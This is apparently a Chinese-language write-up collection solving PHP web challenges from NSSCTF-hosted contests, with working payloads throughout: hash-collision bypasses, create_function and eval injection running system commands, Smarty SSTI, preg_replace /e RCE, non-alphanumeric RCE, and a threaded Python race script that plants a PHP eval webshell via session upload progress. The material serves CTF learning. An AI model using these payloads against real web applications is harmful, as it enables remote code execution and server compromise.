%85 %7 C%14 w%06 %C2 %3 AC%3 C%0 C%1 B%FD %BB %98 %CE %16 %CE %B7 %B6 %3 A%F3 %9959 %F9 %FF %C2
Leval3
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php error_reporting (0 );include "str.php" ;if (isset ($_POST ['array1' ]) && isset ($_POST ['array2' ])){ $a1 = (string )$_POST ['array1' ]; $a2 = (string )$_POST ['array2' ]; if ($a1 == $a2 ){ die ("????" ); } if (sha1 ($a1 ) === sha1 ($a2 )){ echo $level4 ; } else { die ("level 3 failed ..." ); } }else { show_source (__FILE__ ); }?>
跟上面差不多不过这里是哈希强比较,还是在bp中
payload
1 array1 = %25 PDF-1.3 %0 A%25 %E2 %E3 %CF %D3 %0 A%0 A%0 A1 %200 %20 obj%0 A%3 C%3 C/Width%202 %200 %20 R/Height%203 %200 %20 R/Type%204 %200 %20 R/Subtype%205 %200 %20 R/Filter%206 %200 %20 R/ColorSpace%207 %200 %20 R/Length%208 %200 %20 R/BitsPerComponent%208 %3 E%3 E%0 Astream%0 A%FF %D8 %FF %FE %00 %24 SHA-1 %20 is%20 dead%21 %21 %21 %21 %21 %85 /%EC %09 %239 u%9 C9 %B1 %A1 %C6 %3 CL%97 %E1 %FF %FE %01 %7 FF%DC %93 %A6 %B6 %7 E%01 %3 B%02 %9 A%AA %1 D%B2V %0 BE%CAg %D6 %88 %C7 %F8K %8 CLy%1 F%E0 %2 B%3 D%F6 %14 %F8m %B1i %09 %01 %C5kE %C1S %0 A%FE %DF %B7 %608 %E9rr /%E7 %ADr %8 F%0 EI%04 %E0F %C20W %0 F%E9 %D4 %13 %98 %AB %E1. %F5 %BC %94 %2 B%E35B %A4 %80 -%98 %B5 %D7 %0 F%2 A3 .%C3 %7 F%AC5 %14 %E7M %DC %0 F%2 C%C1 %A8t %CD %0 Cx0 Z%21 Vda0 %97 %89 %60 k%D0 %BF %3 F%98 %CD %A8 %04 F%29 %A1 &array2 = %25 PDF-1.3 %0 A%25 %E2 %E3 %CF %D3 %0 A%0 A%0 A1 %200 %20 obj%0 A%3 C%3 C/Width%202 %200 %20 R/Height%203 %200 %20 R/Type%204 %200 %20 R/Subtype%205 %200 %20 R/Filter%206 %200 %20 R/ColorSpace%207 %200 %20 R/Length%208 %200 %20 R/BitsPerComponent%208 %3 E%3 E%0 Astream%0 A%FF %D8 %FF %FE %00 %24 SHA-1 %20 is%20 dead%21 %21 %21 %21 %21 %85 /%EC %09 %239 u%9 C9 %B1 %A1 %C6 %3 CL%97 %E1 %FF %FE %01 sF%DC %91 f%B6 %7 E%11 %8 F%02 %9 A%B6 %21 %B2V %0 F%F9 %CAg %CC %A8 %C7 %F8 %5 B%A8Ly %03 %0 C%2 B%3 D%E2 %18 %F8m %B3 %A9 %09 %01 %D5 %DFE %C1O %26 %FE %DF %B3 %DC8 %E9j %C2 /%E7 %BDr %8 F%0 EE%BC %E0F %D2 %3 CW%0 F%EB %14 %13 %98 %BBU. %F5 %A0 %A8 %2 B%E31 %FE %A4 %807 %B8 %B5 %D7 %1 F%0 E3 .%DF %93 %AC5 %00 %EBM %DC %0 D%EC %C1 %A8dy %0 Cx%2 Cv%21 V%60 %DD0 %97 %91 %D0k %D0 %AF %3 F%98 %CD %A4 %BCF %29 %B1
Leval4
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php error_reporting (0 ); include "str.php" ; show_source (__FILE__ ); $str = parse_url ($_SERVER ['REQUEST_URI' ]); if ($str ['query' ] == "" ){ echo "give me a parameter" ; } if (preg_match ('/ |_|20|5f|2e|\./' ,$str ['query' ])){ die ("blacklist here" ); } if ($_GET ['NI_SA_' ] === "txw4ever" ){ die ($level5 ); } else { die ("level 4 failed ..." ); }?>
$str = parse_url($_SERVER['REQUEST_URI']);解析原url,if(preg_match('/ |_|20|5f|2e|\./',$str['query']),过滤了空格、下划线和.以及他们对于应的编码,利用+饶工
payload
Leval5
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php error_reporting (0 );include "str.php" ;$a = $_GET ['a' ];$b = $_GET ['b' ];if (preg_match ('/^[a-z0-9_]*$/isD' ,$a )){ show_source (__FILE__ ); }else { $a ('' ,$b ); }
get传参参数值中需要包含数字和字母,a作为函数调用,最先想到肯定是system这些函数,但是system只有一个参数,这里有两个参数,就想到了assert、create_function或利用回调特性 ,可以利用 create_function('', $b),$b 可以是 PHP 代码
但要让a不满足正则匹配,就不能只有字母和下划线,所以此时就要结合\
b的参数值先要用},会 提前闭合 函数体(因为 create_function 内部拼接时是 { $code }),最后也要用注释符/* ,作用是 **注释掉后面自动生成的 }**,防止语法错误
payload
1 ?a =\create_function&b=}system('cat+/flag' );/*
flag
1 NSSCTF {540 d46a8-ccdb-444 f-9326 -f3c8b60bb165}
[SWPUCTF 2022 新生赛]webdog1__start 一开始页面什么都没有,先看源码,经典的MD5,依旧是弱比较
1 2 3 4 5 6 7 <!--if (isset ($_GET ['web' ])) { $first =$_GET ['web' ]; if ($first ==md5 ($first )) -->
payload
跳转到这个界面
什么都没有就是一个博客界面吧,然后看了爬虫
有一个f14g.php,但是直接在网页访问什么都没有,就想到可能需要抓包看响应头,看到了F1l1l1l1l1lag.php
源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php error_reporting (0 );highlight_file (__FILE__ );if (isset ($_GET ['get' ])){ $get =$_GET ['get' ]; if (!strstr ($get ," " )){ $get = str_ireplace ("flag" , " " , $get ); if (strlen ($get )>18 ){ die ("This is too long." ); } else { eval ($get ); } }else { die ("nonono" ); } }?>
这里看到!strstr($get," "参数值不能有空格,$get = str_ireplace("flag", " ", $get);flag也会被替换为空格,有长度限制需要小于18,eval($get);这里就是执行任意php代码
payload构造就是让eval先执行一次eval,自定义一个get参数,然后再用新定义的参数执行命令,这样就能绕过长度限制了
payload
1 ?get=eval ($_GET[%27a%27]);&a=system (%27cat%20flag.php%27);
读了flag但发现没有回显,看一下源码,又有一个文件包含,直接读/flag
flag
1 NSSCTF {9 c128619-a618-47 aa-ab8c-0685 e15a134c}
[SWPUCTF 2022 新生赛]funny_php 源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 <?php session_start (); highlight_file (__FILE__ ); if (isset ($_GET ['num' ])){ if (strlen ($_GET ['num' ])<=3 &&$_GET ['num' ]>999999999 ){ echo ":D" ; $_SESSION ['L1' ] = 1 ; }else { echo ":C" ; } } if (isset ($_GET ['str' ])){ $str = preg_replace ('/NSSCTF/' ,"" ,$_GET ['str' ]); if ($str === "NSSCTF" ){ echo "wow" ; $_SESSION ['L2' ] = 1 ; }else { echo $str ; } } if (isset ($_POST ['md5_1' ])&&isset ($_POST ['md5_2' ])){ if ($_POST ['md5_1' ]!==$_POST ['md5_2' ]&&md5 ($_POST ['md5_1' ])==md5 ($_POST ['md5_2' ])){ echo "Nice!" ; if (isset ($_POST ['md5_1' ])&&isset ($_POST ['md5_2' ])){ if (is_string ($_POST ['md5_1' ])&&is_string ($_POST ['md5_2' ])){ echo "yoxi!" ; $_SESSION ['L3' ] = 1 ; }else { echo "X(" ; } } }else { echo "G" ; echo $_POST ['md5_1' ]."\n" .$_POST ['md5_2' ]; } } if (isset ($_SESSION ['L1' ])&&isset ($_SESSION ['L2' ])&&isset ($_SESSION ['L3' ])){ include ('flag.php' ); echo $flag ; } ?>
感觉又是有好几关的那种,一个个看吧
Leval1
1 2 3 4 5 6 7 if (isset ($_GET ['num' ])){ if (strlen ($_GET ['num' ])<=3 &&$_GET ['num' ]>999999999 ){ echo ":D" ; $_SESSION ['L1' ] = 1 ; }else { echo ":C" ; }
这个是对get参数的值进行长度检测,只能小于等于3但是数值要大于999999999,这个一看就是用科学计数法
payload
Leval2
1 2 3 4 5 6 7 8 if (isset ($_GET ['str' ])){ $str = preg_replace ('/NSSCTF/' ,"" ,$_GET ['str' ]); if ($str === "NSSCTF" ){ echo "wow" ; $_SESSION ['L2' ] = 1 ; }else { echo $str ; }
$str = preg_replace('/NSSCTF/',"",$_GET['str']);会将NSSCTF替换成空而且不区分大小写,但是又需要参数值等于NSSCTF,可以利用双写绕过,中间完整的NSSCTF被删除,剩下的依旧是NSSCTF就能成功绕过
payload
1 ?num =9e9&str=NSSNSSCTFCTF
Leval3
1 2 3 4 5 6 7 8 9 10 11 if (isset ($_POST ['md5_1' ])&&isset ($_POST ['md5_2' ])){ if ($_POST ['md5_1' ]!==$_POST ['md5_2' ]&&md5 ($_POST ['md5_1' ])==md5 ($_POST ['md5_2' ])){ echo "Nice!" ; if (isset ($_POST ['md5_1' ])&&isset ($_POST ['md5_2' ])){ if (is_string ($_POST ['md5_1' ])&&is_string ($_POST ['md5_2' ])){ echo "yoxi!" ; $_SESSION ['L3' ] = 1 ; }else { echo "X(" ; } }
这里就是MD5弱比较但是不能用数组绕过
payload
1 md5_1 =240610708 &md5_2 =QNKCDZO
flag
1 NSSCTF{ab1fce0c-24e7 -4fb0-a182-6114709b9265 }
[SWPUCTF 2022 新生赛]funny_web 账号是NSS,密码是2122693401(有点musc了吧
源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php error_reporting (0 );header ("Content-Type: text/html;charset=utf-8" );highlight_file (__FILE__ );include ('flag.php' );if (isset ($_GET ['num' ])) { $num = $_GET ['num' ]; if ($num != '12345' ) { if (intval ($num ) == '12345' ) { echo $FLAG ; } } else { echo "这为何相等又不相等" ; } }
这里就是利用intval函数只获取变量的整数值来实现num不等于12345但是整数部分等于12345
payload
[HDCTF 2023]SearchMaster 看到显示是POST一个data,猜测POST方式,参数名为data
看到题目标签的smaty框架,就去看了相关的文章,smarty是一个php的模板引擎
常见的payload
1 2 3 4 5 {if phpinfo()} {/if } {if system('ls')} {/if } { readfile('/flag') } {if show_source('/flag')} {/if } {if system('cat ../../../flag')} {/if }
[MoeCTF 2022]ezphp
考点:变量覆盖
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php highlight_file ('source.txt' );echo "<br><br>" ;$flag = 'xxxxxxxx' ;$giveme = 'can can need flag!' ;$getout = 'No! flag.Try again. Come on!' ;if (!isset ($_GET ['flag' ]) && !isset ($_POST ['flag' ])){ exit ($giveme ); }if ($_POST ['flag' ] === 'flag' || $_GET ['flag' ] === 'flag' ){ exit ($getout ); }foreach ($_POST as $key => $value ) { $$key = $value ; }foreach ($_GET as $key => $value ) { $$key = $$value ; }echo 'the flag is : ' . $flag ;?>
审计这段代码,重点就是
1 2 3 4 5 6 7 foreach ($_POST as $key => $value ) { $$key = $value ; }foreach ($_GET as $key => $value ) { $$key = $$value ; }
payload
[SWPUCTF 2022 新生赛]xff
需要小红自己的电脑,就想到XFF头伪造本地地址,利用本地回环地址127.0.0.1
payload
1 X -Forwarded-For: 127.0.0.1
home page,说明要利用referer头
payload
[NSSRound#1 Basic]basic_check 一开始什么都没有,看不到源码,利用curl扫描
1 curl -i -X OPTIONS "http://node4.anna.nssctf.cn:21674/index.php"
看到有很多可用的请求方法
利用PUT请求获取更多信息
但是一开始虽然是响应的是200,但是没有内容,就用随便一个文件访问
响应说这个目录创建成功,那就利用这个写一个php代码执行rce
然后访问1.php
[UUCTF 2022 新生赛]ez_upload 文件上传,先传图片马,抓包,能传成功,但是改成php后缀就不行,尝试在jpg后面加一个php,发现上传成功了,所以其实只检测后缀是否存在jpg
蚁剑连接拿到flag
[SWPUCTF 2023 秋季新生赛]RCE-PLUS 看到标签和题目是无回显RCE,想到反弹shell或者写文件
源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php error_reporting (0 );highlight_file (__FILE__ );function strCheck ($cmd ) { if (!preg_match ("/\;|\&|\\$|\x09|\x26|more|less|head|sort|tail|sed|cut|awk|strings|od|php|ping|flag/i" , $cmd )){ return ($cmd ); } else { die ("i hate this" ); } }$cmd =$_GET ['cmd' ];strCheck ($cmd );shell_exec ($cmd );?>
可以看到过滤了分号什么的,cmd处可以进行rce
方法一:写文件
payload
能写,然后读根目录下的文件,看到flag文件,读取flag
payload
本来想用两种方法解的,但是好像这道题不给反弹shell,那就算了,但无回显rce还有别的做法,可以dnslog外带
[FSCTF 2023]细狗2.0 是一个黑盒测试,不给源码,不知道过滤了什么,这里想要快速探测一下就手动构建了一个小型字典
这个分号回显的有点不一样,就想到可能是分隔符类似的,只执行后面的代码
payload
能看到正常回显,和猜测的一样,然后就是正常rce过滤空格
payload
还过滤了flag,cat这些
payload
[LitCTF 2023]Flag点击就送! 先随便输入一个值,抓包发现存在cookie值
利用插件可以看到是flask框架,猜测是利用flask-session-cookie伪造admin身份,因为这个是LitCTF的比赛,猜测key是LitCTF
1 python flask_session_cookie_manager3.py encode -s "LitCTF" -t "{'name': 'admin'}"
payload
1 eyJuYW1lIjoiYWRtaW4ifQ.ah6yKw.LrdVEGCbQeYy4UFZ3CFv0V3gr-k
[HNCTF 2022 WEEK3]ssssti 题目是SSTI但是没找到注入点,利用Arjun工具探测一下参数,发现是name参数
不想手注了就用焚靖一把梭了
[BJDCTF 2020]ZJCTF,不过如此 源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php error_reporting (0 );$text = $_GET ["text" ];$file = $_GET ["file" ];if (isset ($text )&&(file_get_contents ($text ,'r' )==="I have a dream" )){ echo "<br><h1>" .file_get_contents ($text ,'r' )."</h1></br>" ; if (preg_match ("/flag/" ,$file )){ die ("Not now!" ); } include ($file ); }else { highlight_file (__FILE__ ); }?>
需要text参数值等于I have a dream,可以利用data伪协议,file的值利用filte伪协议读取next.php
payload
1 ?text=data://text/plain,I%20have%20a%20dream&file=php://filter/read=convert.base64-encode/resource=next.php
解码得到
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php $id = $_GET ['id' ];$_SESSION ['id' ] = $id ;function complex ($re , $str ) { return preg_replace ( '/(' . $re . ')/ei' , 'strtolower("\\1")' , $str ); }foreach ($_GET as $re => $str ) { echo complex ($re , $str ). "\n" ; }function getFlag ( ) { @eval ($_GET ['cmd' ]); }
这里的漏洞出现在/e模式下
/e 修饰符(在 PHP < 7.0 中有效),表示将替换字符串作为 PHP 代码执行 ,但是这里第二个参数是不可变的,但因为有这种特殊情况,正则表达式模式或部分模式两边添加圆括号会将相关匹配存储到一个临时缓存区,并且从1开始排序,而strtolower(“\1”)正好表达的就是匹配区的第一个(\\1=\1),从而我们如果匹配可以,则可以将函数实现
比如我们传入 ?.*={${phpinfo()}}
原句
1 preg_replace('/(' . $re . ')/ei' ,'strtolower("\\1")' ,$str );
变成
1 preg_replace('/(' .* ')/ei' ,'strtolower("\\1")' ,{${phpinfo()} });
又因为$_GET传入首字母是非法字符是会把.改成下划线,因此能够将\.*换成\s*
payload
1 ?\S *=${ getFlag()}&cmd=system('ls /' );
但直接读flag好像读不到,那就直接查看环境变量
1 /next.php/?\S*=${getFlag()} &cmd=system(%27env%27);
[HNCTF 2022 WEEK2]Canyource 源码
1 2 3 4 5 6 7 8 9 10 <?php highlight_file (__FILE__ );if (isset ($_GET ['code' ])&&!preg_match ('/url|show|high|na|info|dec|oct|pi|log|data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i' , $_GET ['code' ])){if (';' === preg_replace ('/[^\W]+\((?R)?\)/' , '' , $_GET ['code' ])) { eval ($_GET ['code' ]);}else die ('nonono' );}else echo ('please input code' );?> please input code
看到对code参数有过滤
这串正则表达式看着有点陌生,详细看一下
1 if (';' === preg_replace ('/[^\W]+\((?R)?\)/' , '' , $_GET ['code' ]))
[^\W]+:\w表示非单词字符,也就是字母和数字,^\w就是取非,表示单词字符,所以[^\W]+表示一个或多个字母、数字、下划线即可以联想到作为函数名
(?R)?:递归整个正则表达式,?表示1次或0次,所以 (?R)? 表可以嵌套调用,也可以没有参数,可以联想到无参rce
\( \):就表示匹配括号
对于整个表达式就是表示反复删除所有符合“函数调用”格式的部分 ,也就是说如果参数值中只有函数和分号那么函数会被替换为空只保留分号
payload
1 ?code=eval (end(current(get_defined_vars())));&a=system (%27ls%27);
先利用get_defined_vars()返回一个包含当前作用域所有变量的关联数组,在全局作用域下,通常会包含$GET等超全局变量的副本,所以后面get传参自定义的a的参数值可以被执行,current()获取数组的当前元素,end() 返回最后一个元素的值,即a的参数值,eval就是用来执行end返回的参数值也就是a的值,所以这样就可以利用a进行rce
然后就是读flag,但是要做源码中看
[HNCTF 2022 Week1]Challenge__rce 打开一开始我以为我卡了结果就是什么都没有,直接看源码,有提示存在hint参数
看到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php error_reporting (0 );if (isset ($_GET ['hint' ])) { highlight_file (__FILE__ ); }if (isset ($_POST ['rce' ])) { $rce = $_POST ['rce' ]; if (strlen ($rce ) <= 120 ) { if (is_string ($rce )) { if (!preg_match ("/[!@#%^&*:'\-<?>\"\/|`a-zA-Z~\\\\]/" , $rce )) { eval ($rce ); } else { echo ("Are you hack me?" ); } } else { echo "I want string!" ; } } else { echo "too long!" ; } }
这个过滤了字母和一些符号,打无字母rce,常见三种方法取反、异或、自增
但是这里过滤了~号,不能用取反,而且这里是POST参数感觉是用自增
payload
1 2 rce=$_ %3d[]._%3b$__ %3d$_ [1]%3b$_ %3d$_ [0]%3b$_ %2b%2b%3b$_0 %3d%2b%2b$_ %3b$_ %2b%2b%3b$_ %2b%2b%3b$_ %2b%2b%3b$_ %2b%2b%3b$_ %3d$_0 .%2b%2b$_ .$__ %3b$_ %3d_.$_ (71).$_ (69).$_ (84)%3b$$_ [1]($$_ [2])%3b ?hint&1=system&2=ls /
(额这个自增感觉构造起来很麻烦
[HNCTF 2022 WEEK3]QAQ_1inclu4e 看到include,是文件包含,给了hint,像是base64编码
解码出来就是“flag在神秘的角落”,感觉没什么用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 import io import requests import threading target_url = "http://node5.anna.nssctf.cn:25514/" sessid = 'exp' data = {"cmd" : "system('cat ../../f*');" } def write (session): while True: f = io.BytesIO (b'a' * 1024 * 50 ) session.post ( target_url, data={'PHP_SESSION_UPLOAD_PROGRESS' : '\n\r<?php @eval($_POST["cmd"]);?>\n\r' }, files={'file' : ('test.txt' , f)}, cookies={'PHPSESSID' : sessid} ) def read (session): while True: try : resp = session.post ( target_url + '?QAQ=/tmp/sess_' + sessid, data=data, timeout=5 ) if 'test.txt' in resp.text or 'bin' in resp.text or 'etc' in resp.text: print ("[+] SUCCESS:" ) print (resp.text) return except: pass print ("[+] retry..." )if __name__ == "__main__" : with requests.Session () as session: for _ in range (20 ): threading.Thread (target=write, args=(session,), daemon=True).start () for _ in range (20 ): threading.Thread (target=read, args=(session,), daemon=True).start () input ("Press Enter to exit..." )
执行ls /命令目录中无法直接看到flag文件的位置,就用*模糊匹配,再利用路径穿越得到flag
[NISACTF 2022]middlerce 给了源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php include "check.php" ;if (isset ($_REQUEST ['letter' ])){ $txw4ever = $_REQUEST ['letter' ]; if (preg_match ('/^.*([\w]|\^|\*|\(|\~|\`|\?|\/| |\||\&|!|\<|\>|\{|\x09|\x0a|\[).*$/m' ,$txw4ever )){ die ("再加把油喔" ); } else { $command = json_decode ($txw4ever ,true )['cmd' ]; checkdata ($command ); @eval ($command ); } }else { highlight_file (__FILE__ ); }?>
给了参数letter,$_REQUEST表示接受用户利用GET,POST,Cookie的传参方式,并把值赋给$txw4ever
正则匹配中给了很多黑名单,过滤了字母数字下划线,左括号反引号等等,过滤了太多了就看看哪些没有被过滤
}、)、|、|这些没有被禁
对于$txw4ever需要用json格式编码,得是合法的json字符串,并且需要包含cmd键,解码后的值赋给$command,会被eval执行
[CISCN 2019初赛]Love Math 源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php error_reporting (0 );if (!isset ($_GET ['c' ])){ show_source (__FILE__ ); }else { $content = $_GET ['c' ]; if (strlen ($content ) >= 80 ) { die ("太长了不会算" ); } $blacklist = [' ' , '\t' , '\r' , '\n' ,'\'' , '"' , '`' , '\[' , '\]' ]; foreach ($blacklist as $blackitem ) { if (preg_match ('/' . $blackitem . '/m' , $content )) { die ("请不要输入奇奇怪怪的字符" ); } } $whitelist = ['abs' , 'acos' , 'acosh' , 'asin' , 'asinh' , 'atan2' , 'atan' , 'atanh' , 'base_convert' , 'bindec' , 'ceil' , 'cos' , 'cosh' , 'decbin' , 'dechex' , 'decoct' , 'deg2rad' , 'exp' , 'expm1' , 'floor' , 'fmod' , 'getrandmax' , 'hexdec' , 'hypot' , 'is_finite' , 'is_infinite' , 'is_nan' , 'lcg_value' , 'log10' , 'log1p' , 'log' , 'max' , 'min' , 'mt_getrandmax' , 'mt_rand' , 'mt_srand' , 'octdec' , 'pi' , 'pow' , 'rad2deg' , 'rand' , 'round' , 'sin' , 'sinh' , 'sqrt' , 'srand' , 'tan' , 'tanh' ]; preg_match_all ('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/' , $content , $used_funcs ); foreach ($used_funcs [0 ] as $func ) { if (!in_array ($func , $whitelist )) { die ("请不要输入奇奇怪怪的函数" ); } } eval ('echo ' .$content .';' ); }
先看源码,get传参c的参数值最后在eval(‘echo ‘.$content.’;’);中执行
这里是白名单,只能用这些函数,注释中也给了提示这些是数学函数
1 $whitelist = ['abs' , 'acos' , 'acosh' , 'asin' , 'asinh' , 'atan2' , 'atan' , 'atanh' , 'base_convert' , 'bindec' , 'ceil' , 'cos' , 'cosh' , 'decbin' , 'dechex' , 'decoct' , 'deg2rad' , 'exp' , 'expm1' , 'floor' , 'fmod' , 'getrandmax' , 'hexdec' , 'hypot' , 'is_finite' , 'is_infinite' , 'is_nan' , 'lcg_value' , 'log10' , 'log1p' , 'log' , 'max' , 'min' , 'mt_getrandmax' , 'mt_rand' , 'mt_srand' , 'octdec' , 'pi' , 'pow' , 'rad2deg' , 'rand' , 'round' , 'sin' , 'sinh' , 'sqrt' , 'srand' , 'tan' , 'tanh' ];
这里还存在长度限制
1 2 3 if (strlen ($content ) >= 80 ) { die ("太长了不会算" ); }
黑名单里ban了空格,引号,反引号,中括号,制表符回车符和换行
1 $blacklist = [' ' , '\t' , '\r' , '\n' ,'\'' , '"' , '`' , '\[' , '\]' ];
所以这道题是只能利用白名单中的数学函数来构造payload,执行rce
这里需要用到PHP动态调用函数值,GET传参的外部赋值以及PHP数学函数的运用
构造原始payload
1 $p =(_GET[p1])(_GET[p2]);($$p {p1})($$p {p2})&p1=system&p2=ls ;
但需要利用数学函数进行一些进制转换
最终payload
1 $pi =base_convert(37907361743,10,36)(dechex(1598506324));($$pi {pi})($$pi {pow})&pi=system&pow=ls
base_convert(37907361743,10,36)表示system
(dechex(1598506324))表示_GET
system(_GET)无实际执行意义,PHP会将表达式结果(字符串_GET)赋值给$pi,最终表示的是$pi=”_GET”
($$pi{pi})($$pi{pow})等价于_GET{pi}(PHP中{}和[]取值完全等效)
然后就是结合GET传参 $_GET{pi}=system,$_GET{pow}=ls
1 ?c=$pi =base_convert(37907361743,10,36)(dechex(1598506324));($$pi {pi})($$pi {pow})&pi=system&pow=ls $IFS /
1 ?c=$ pi =base_convert(37907361743 ,10 ,36 )(dechex(1598506324 ));($ $ pi {pi })($ $ pi {pow})&pi =system &pow=cat$ IFS/flag
[FSCTF 2023]Hello,you 一个输入框,输入什么就返回什么,一开始想到的是SSTI,但是不对,再尝试sql注入,1’没有回显,看了一下源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <!--$input = isset ($_GET ['input' ]) ? $_GET ['input' ] : '' ;function executeCommand ($command ) { $output = '' ; exec ($command , $output ); return $output ; }function registerUser ($username ) { $command = "echo Hello, " . $username ; $result = executeCommand ($command ); return $result ; }if (isset ($_POST ['submit' ])) { $username = $_POST ['username' ]; $result = registerUser ($username ); } -->
exec($command, $output);这里可以执行命令,$command = “echo Hello, “ . $username;,所以是执行参数username的值
payload
利用反引号执行命令
cat或者flag被ban了,绕过一下
[NISACTF 2022]is secret 扫目录发现了/secret,继续猜测参数为secret,尝试SSTI注入49,跳到了debug,看到部分代码,其中有rc4解密的
正常构造一个用于测试的payload,比如最简单的49,给了密钥是HereIsTreasure
[NSSRound#4 SWPU]1zweb 非预期 存在非预期,直接能读到flag
预期解